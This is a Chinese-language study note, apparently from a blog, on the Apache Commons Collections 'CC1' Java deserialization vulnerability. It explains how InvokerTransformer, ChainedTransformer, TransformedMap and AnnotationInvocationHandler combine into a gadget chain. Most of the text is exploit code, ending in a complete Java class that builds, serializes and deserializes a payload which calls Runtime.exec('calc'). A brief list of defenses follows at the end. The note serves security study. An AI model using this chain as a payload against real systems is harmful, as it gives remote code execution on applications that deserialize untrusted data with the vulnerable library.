cc1——复习用的细节笔记
字数 1238 2025-08-29 22:41:38
Apache Commons Collections反序列化漏洞(CC1)深入分析
1. CC1漏洞概述
Apache Commons Collections是一个扩展了Java标准集合框架的库,提供了更多功能。CC1漏洞是Java反序列化漏洞中的经典案例,利用Apache Commons Collections库中的特定功能链实现远程代码执行。
2. 环境配置要求
- JDK版本:推荐使用JDK 1.8或8版本
- OpenJDK:建议安装以便查看.class文件的反编译代码
- 依赖库:commons-collections 3.2.1版本
3. 核心概念与组件
3.1 关键类与接口
-
InvokerTransformer:
- 核心功能:通过反射调用任意方法
- 示例代码:
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
-
TransformedMap:
- 提供对Map的装饰功能,可以在修改Map时触发转换操作
- 关键方法:
decorate()用于创建装饰后的Map
-
ChainedTransformer:
- 实现多个Transformer的链式调用
- 示例:
Transformer[] transformers = new Transformer[]{...}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
-
ConstantTransformer:
- 总是返回固定值的Transformer
- 用于在链中提供初始对象
3.2 漏洞利用链
-
反射调用链:
Class c = Runtime.class; Method m = c.getMethod("getRuntime",null); Runtime runtime = (Runtime) m.invoke(null, null); runtime.exec("calc"); -
等效的InvokerTransformer实现:
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
4. 漏洞利用详细步骤
4.1 构建Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
4.2 创建TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "222"); // 必须使用"value"作为key
Map<Object,Object> decorate1 = TransformedMap.decorate(map, null, chainedTransformer);
4.3 利用AnnotationInvocationHandler
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = c.getDeclaredConstructor(Class.class, Map.class);
constructor1.setAccessible(true);
Object o1 = constructor1.newInstance(Target.class, decorate1);
4.4 序列化与反序列化
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
5. 关键点解析
-
为什么使用Target注解:
- Target注解有一个value方法,与Map中的key对应
- 必须使用"value"作为key才能通过检查
-
checkSetValue的利用:
checkSetValue方法会调用valueTransformer.transform(value)- 通过TransformedMap将valueTransformer设置为我们的恶意Transformer链
-
Runtime类的序列化问题:
- Runtime类不可序列化,因此需要通过反射链动态获取Runtime实例
- 使用
ConstantTransformer(Runtime.class)提供起点
6. 完整利用代码
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Cc1test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "222");
Map<Object,Object> decorate1 = TransformedMap.decorate(map, null, chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = c.getDeclaredConstructor(Class.class, Map.class);
constructor1.setAccessible(true);
Object o1 = constructor1.newInstance(Target.class, decorate1);
serialize(o1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
7. 防御措施
- 升级Apache Commons Collections到安全版本(3.2.2及以上)
- 使用Java反序列化过滤器
- 避免反序列化不可信数据